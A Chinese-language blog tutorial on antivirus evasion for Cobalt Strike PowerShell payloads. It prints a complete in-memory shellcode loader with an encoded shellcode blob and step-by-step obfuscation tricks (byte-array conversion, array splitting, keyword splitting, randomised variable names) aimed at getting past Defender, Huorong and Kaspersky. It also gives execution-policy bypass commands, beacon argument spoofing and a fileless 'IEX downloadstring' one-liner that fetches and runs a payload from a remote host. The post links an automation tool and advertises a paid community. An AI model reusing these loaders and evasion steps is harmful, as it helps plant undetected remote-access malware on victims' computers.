Powershell 免杀过 defender 火绒,附自动化工具

简介: Powershell 免杀过 defender 火绒,附自动化工具

1 获取 PowerShell当前执行策略

Get-ExecutionPolicy


windows默认配置为Restricted

2 设置执行策略


Set-ExecutionPolicy unrestricted

PowerShell通过对安全做过充分考量的,它把脚本的执行分成了几个策略。

下面是4种常用的执行策略(XXX):

Restricted

禁止运行任何脚本和配置文件。

AllSigned

可以运行脚本,但要求所有脚本和配置文件由可信发布者签名,包括在本地计算机上编写的脚本。

RemoteSigned

可以运行脚本,但要求从网络上下载的脚本和配置文件由可信发布者签名;不要求对已经运行和已在本地计算机编写的脚本进行数字签名。

Unrestricted

可以运行未签名脚本。


总述:主要是分析代码,转换编码,然后去掉关键字特征。

注意:defender杀的是下面的for那一行,直接把for中的变量$x,换成别的,以下是换成了$gg,同时要把生成的字节数组拆开,再合并,直接一个数组已经不行了。for循环那个,只要每次利用现改变量名,就可以绕过defender。


本地马免杀

1.CS生成ps1

生成payload 或者无状态stageless的都可以,但是stageless的太大了,payload太长转换的时候会卡住,故本文采用的是生成payload的方式。


Set-StrictMode -Version 2
 $DoIt = @'
 function func_get_proc_address {
 Param ($var_module, $var_procedure)
 $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
 $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
 return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
 }
 function func_get_delegate_type {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
 [Parameter(Position = 1)] [Type] $var_return_type = [Void]
 )
 $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
 $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
 return $var_type_builder.CreateType()
 }
 [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY5czSyMzIyNL3NwkI0kjS3uHcMbc9qDjY6rkcxLjk1OXSnNLR01QQndLb1QFJNz2mEIjIyPIWHuq5aDMY9+aYyMjI9CHqtugy2Njo9hZXRGYQiMjI6s7Y6g7YKs7o9hZXTmYQiMjI6s7Y6g7YKs7o9hZXSSYQiMjI6s7a2uYQiMjI6s7qtCq5Xd4oMgncEkjcEkjS2shIyNJM3NLSeq/6tz2puNWcqrTa5AjqztjqBPIU8uj3NzcI0JCQg1QV0JERg0SEhAREREVGg1NUBINRUpXQExOTQ1ATE4jwi3l+0Po7OXaJ05aGZj3Wg5Z+j031+ZsWpFVQarTa6grYqsro9p8XSRL05aBddz2S8swIyNLZ9MWw9z2qtOoK6roygDc3Nyk2XyoZDug2yJWGqDkP6gcpP2q3ahfBysS6pLc0Id0dHRgpNlxdHCiydwjIyNxS9cjre/c9nh8eR7cIyMjXyTK/N3c3Kr0ouQjIyMj3MQxF3Vb')
 for ($gg = 0; $gg -lt $var_code.Count; $gg++) {
 $var_code[$gg] = $var_code[$gg] -bxor 35
 }
 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
 $var_runme.Invoke([IntPtr]::Zero)
 '@
 If ([IntPtr]::size -eq 8) {
 start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
 }
 else {
 IEX $DoIt
 }

2.寻找查杀特征

fuzz之后发现把“FromBase64String”删掉就不杀了,那就换掉“FromBase64String”

alert

bypass

可以发现是base64解密函数被标记为特征了,然后仔细看源码可以发现马也是将base64加密的payload去强制转换成byte数组。

那我们直接给他转换成byte数组


$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('cs生成的shellcode')
$s |foreach{ $string = $string + $_.ToString()+','}
# 或者$string 短的话直接查看即可
$string > 1.txt

最后为了方便写了个脚本实现自动化,贴入cs 的payload的就可以,可以结果会输出到当前目录下的result.txt中。

脚本文末自取

3. 把[Byte[]]$var_code替换掉

生成byte数组后,将对应位置换掉




[Byte[]]$var_code = [Byte[]](xx,xx,xx,xx)  [Byte[]]$acode = [Byte[]](这里放刚刚转码后的FromBase65String)

其他地方不变。

此时最主要的一部分修改完了。

4.改一些关键字,数组分片

到第三步可以一部分免杀,为了进一步免杀,我们去混淆关键字。

把函数名和变量前缀var_ 随机化,还有最后的IEX改了一下。

对比截图-源文件(已经做了第三步的免杀了)

对比截图-第四步修改关键词之后的文件

可以直接把第三步替换的那一行替换掉这个代码中对应行。

数组分片

注意:defender杀的是下面的for那一行,直接把for中的变量$x,换成别的,以下是换成了$gg,同时要把生成的字节数组拆开,再合并,可以进行变量随机化拆分,加上异或混淆,直接一个数组已经不行了。实测隔个几个小时defender就有杀了,可能会传到云上查杀,改成别的变量名就没事了,所以后面写了个自动化工具。

Set-StrictMode -Version 2
 $DoIt = @'
 function func_b {
 Param ($amodule, $aprocedure)
 $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods')
 $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
 return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure))
 }
 function func_a {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters,
 [Parameter(Position = 1)] [Type] $areturn_type = [Void]
 )
 $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed')
 $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')
 return $atype_b.CreateType()
 }
 [Byte[]]$a1 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a2 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a3 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a4 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a5 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$acode = $a1+$a2+$a3+$a4+$a5
 for ($gg = 0; $gg -lt $acode.Count; $gg++) {
 $acode[$gg] = $acode[$gg] -bxor 35
 }
 $ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
 $abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)
 $arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void])))
 $arunme.Invoke([IntPtr]::Zero)
 '@
 If ([IntPtr]::size -eq 8) {
 start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
 }
 else {
 i`ex $DoIt
 }

5.执行

Bypass执行策略绕过


powershell -ExecutionPolicy bypass -File .\payload.ps1

执行命令,卡巴斯基会拦截,argue污染以下就行了。



beacon> argue cmd.exe asdsdadsadsasadasd beacon> argue #查看污染的参数


无落地powershell免杀




总述:有了上面的思路我们来修改一下powershell一句话的木马,对其进行分析然后免杀。

原理:cs生成txt-shellcode代码,放到服务器web目录,然后目标执行powershell命令请求下载并执行。对于内容就是换一种编码来混淆,同时可以将编码部分分成几个部分然后再拼接,对于关键命令,可以使用Replace替换的方法。对于访问shellcode文件并执行的命令,可以采用混淆分割合并和Replace替换的方法绕过。

1.生成无落地执行powershell文件

2.访问http://xxx.xx.xxx.xx:80/a这个连接看看文件内容,并保存下来

通过分析可以看到代码实际组成是:


$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("shellcode代码"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

3.使用方法1中的步骤2,把base64编码方式去掉,然后换成byte数组。






$string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('cs生成的shellcode') $s |foreach { $string = $string + $_.ToString()+','} # 或者$string 短的话直接查看即可 $string > c:\1.txt 。

同样可以用上面的步骤2中脚本实现自动化

脚本文末自取

4.将生成的编码分成两块或者多块再组合

两块不够可以分成多块。





[Byte[]]$var_c1 = [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,187,110,247,28,92,199,128,115,15,33,42,160,68,249)[Byte[]]$var_c2 = [Byte[]](199,96,206,103,88,42,138,174,140,247,128,223,249,30,104,122,187,134,50,195,87,233,75,105,165,87,239,217,125,198,101,214,65,97,88,161,70,17,212,185,81,161,52,140,28,108,86,168,142,27,218,151,71,157,136,120,249,178,248,79,184,114,228,16,219,64,33,185,154,123,45,127,2,233,197,53,235,185,80,49,145,1,189,155,171,100,3,217,135,72,62,122,114,114,79,229,11,250,65,228,238,241,255,241,0,126,112,250,223,161,205,192,203,103,186,119,232,242,128,62,199,171,40,254,81,40,136,107,234,195,126,104,159,224,139,5,31,168,86,206,189,144,160,128,220,111,61,29,62,111,242,247,117,233,22,149,41,145,91,80,183,136,250,78,221,67,122,157,144,169,195,55,78,96,69,217,203,155,58,127,178,125,163,98,100,159,21,191,81,42,54,48,140,220,247,3,79,7,150,98,152,193,50,211,185,145,76,24,246,254,6,195,245,1,82,3,14,0,0)$var_code=$var_c1+$var_c2$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

5.另存到服务器的其他txt文件中并访问执行


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:4545/text.txt'))"

此时www.virustotal.com还有几个被查出,主要是命令关键词没有被替换,使用混淆的方法解决。

6.混淆命令关键词并执行



[Byte[]]$var_c1 = [Byte[]](31,42,160,68,249) [Byte[]]$var_c2 = [Byte[]](199,96,82,3,14,0,0) $var_code=$var_c1+$var_c2  $s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)



混淆-自动化


为了实现实战中快速应用,将免杀过程进行了自动化,并进行随机化处理,异或混淆,每次生成的payload都不相同,极大的提高渗透实战中的效率。

测试截图:


工具放到了星球,感兴趣的可以加入Z2O安全团队知识星球获取。


获取base64Tobyte.ps1:

https://github.com/komomon/Powershell_bypassAV




总结


一些思路

在powershell的免杀上,函数变量名需要一些混淆才能很好绕过,同样存在一个问题,如果每次执行的随机串长度固定,那么也存在被杀的可能性,所以随机化很重要。

可以再转化一下函数或代码顺序,加入一些无用载荷,比如一张图片拼接到payload中,提取有用部分,类似分片再拼接,这样效果会更好。

文章的想法是想让大家了解其中原理,形成自己的自定义免杀思路。


相关文章
|
3月前
|
Java 测试技术 数据安全/隐私保护
软件测试中的自动化策略与工具应用
在软件开发的快速迭代中,自动化测试以其高效、稳定的特点成为了质量保证的重要手段。本文将深入探讨自动化测试的核心概念、常见工具的应用,以及如何设计有效的自动化测试策略,旨在为读者提供一套完整的自动化测试解决方案,帮助团队提升测试效率和软件质量。
|
13天前
|
监控 jenkins 测试技术
Ansible与Jenkins:自动化工具的对比
Ansible和Jenkins是自动化领域的两大巨头。Ansible专注于配置管理和任务自动化,采用无代理架构,使用YAML定义配置,具有幂等性和可扩展性。Jenkins则擅长持续集成和持续交付(CI/CD),支持丰富的插件生态系统,适用于自动化构建、测试和部署。两者各有优势,Ansible适合配置管理与大规模部署,Jenkins则在CI/CD方面表现出色。结合使用可创建更强大的自动化工作流,提升团队生产力和软件质量。选择工具时应根据具体需求决定。
|
5月前
|
运维 Linux Apache
Puppet 作为一款强大的自动化运维工具,被广泛应用于配置管理领域。通过定义资源的状态和关系,Puppet 能够确保系统始终处于期望的配置状态。
Puppet 作为一款强大的自动化运维工具,被广泛应用于配置管理领域。通过定义资源的状态和关系,Puppet 能够确保系统始终处于期望的配置状态。
146 3
|
2月前
|
人工智能 自然语言处理 语音技术
FilmAgent:多智能体共同协作制作电影,哈工大联合清华推出 AI 驱动的自动化电影制作工具
FilmAgent 是由哈工大与清华联合推出的AI电影自动化制作工具,通过多智能体协作实现从剧本生成到虚拟拍摄的全流程自动化。
453 10
FilmAgent:多智能体共同协作制作电影,哈工大联合清华推出 AI 驱动的自动化电影制作工具
|
5月前
|
运维 Linux Apache
Puppet这一强大的自动化运维工具,涵盖其基本概念、安装配置及使用示例
【10月更文挑战第8天】本文介绍了Puppet这一强大的自动化运维工具,涵盖其基本概念、安装配置及使用示例。Puppet通过定义资源状态和关系,确保系统配置始终如一,支持高效管理基础设施。文章详细讲解了Puppet的安装步骤、配置方法及DSL语言示例,帮助读者快速掌握Puppet的使用技巧。
220 2
|
2月前
|
弹性计算 运维 监控
自动化AutoTalk第十一期-应知必会的自动化工具之阿里云配额中心
本次分享主题为“应知必会的自动化工具之阿里云配额中心”,课程围绕三个方面展开:1) 认识配额及其作用;2) 配额管理的意义与方法;3) 阿里云配额中心的功能和使用场景。通过学习,了解如何有效管理和监控配额,避免资源限制影响业务,并实现自动化集成,提升运维效率。
54 10
|
2月前
|
JavaScript Java 开发工具
AutoTalk第十三期-应知必会的自动化工具-阿里云SDK支持策略(一)
AutoTalk第十三期探讨阿里云SDK支持策略,涵盖四大方面:发布策略、版本规范、更新策略及停止支持策略。重点介绍SDK的及时性、完整性、测试覆盖度和版本命名规范;并以Python部分语言版本停止支持为案例,帮助开发者了解维护策略,确保平稳过渡到新版本。
|
3月前
|
Web App开发 IDE 测试技术
Selenium:强大的 Web 自动化测试工具
Selenium 是一款强大的 Web 自动化测试工具,包括 Selenium IDE、WebDriver 和 Grid 三大组件,支持多种编程语言和跨平台操作。它能有效提高测试效率,解决跨浏览器兼容性问题,进行性能测试和数据驱动测试,尽管存在学习曲线较陡、不稳定等缺点,但其优势明显,是自动化测试领域的首选工具。
293 17
Selenium:强大的 Web 自动化测试工具
|
2月前
|
算法 安全 Java
自动化AutoTalk第十期:应知必会的自动化工具-阿里云SDK
本期《自动化AutoTalk》第十期聚焦应知必会的自动化工具——阿里云SDK。主要内容分为三部分:1. 阿里云SDK概述,介绍其支持的300多款云产品和8种主流编程语言;2. 快速生成SDK示例,以Java语言为例展示如何通过OpenAPI门户快速生成并下载SDK工程;3. 进阶特性介绍,涵盖签名算法、Endpoint配置、代理设置、HTTPS请求配置、超时机制及异常处理等重要功能。通过这些内容,帮助开发者更高效、安全地使用阿里云SDK。
|
3月前
|
运维 Kubernetes Devops
自动化运维:从脚本到工具的演进之旅
在数字化浪潮中,自动化运维成为提升效率、保障系统稳定的关键。本文将探索自动化运维的发展脉络,从基础的Shell脚本编写到复杂的自动化工具应用,揭示这一技术变革如何重塑IT运维领域。我们将通过实际案例,展示自动化运维在简化工作流程、提高响应速度和降低人为错误中的重要作用。无论你是初学者还是资深专家,这篇文章都将为你提供宝贵的洞见和实用的技巧。

热门文章

最新文章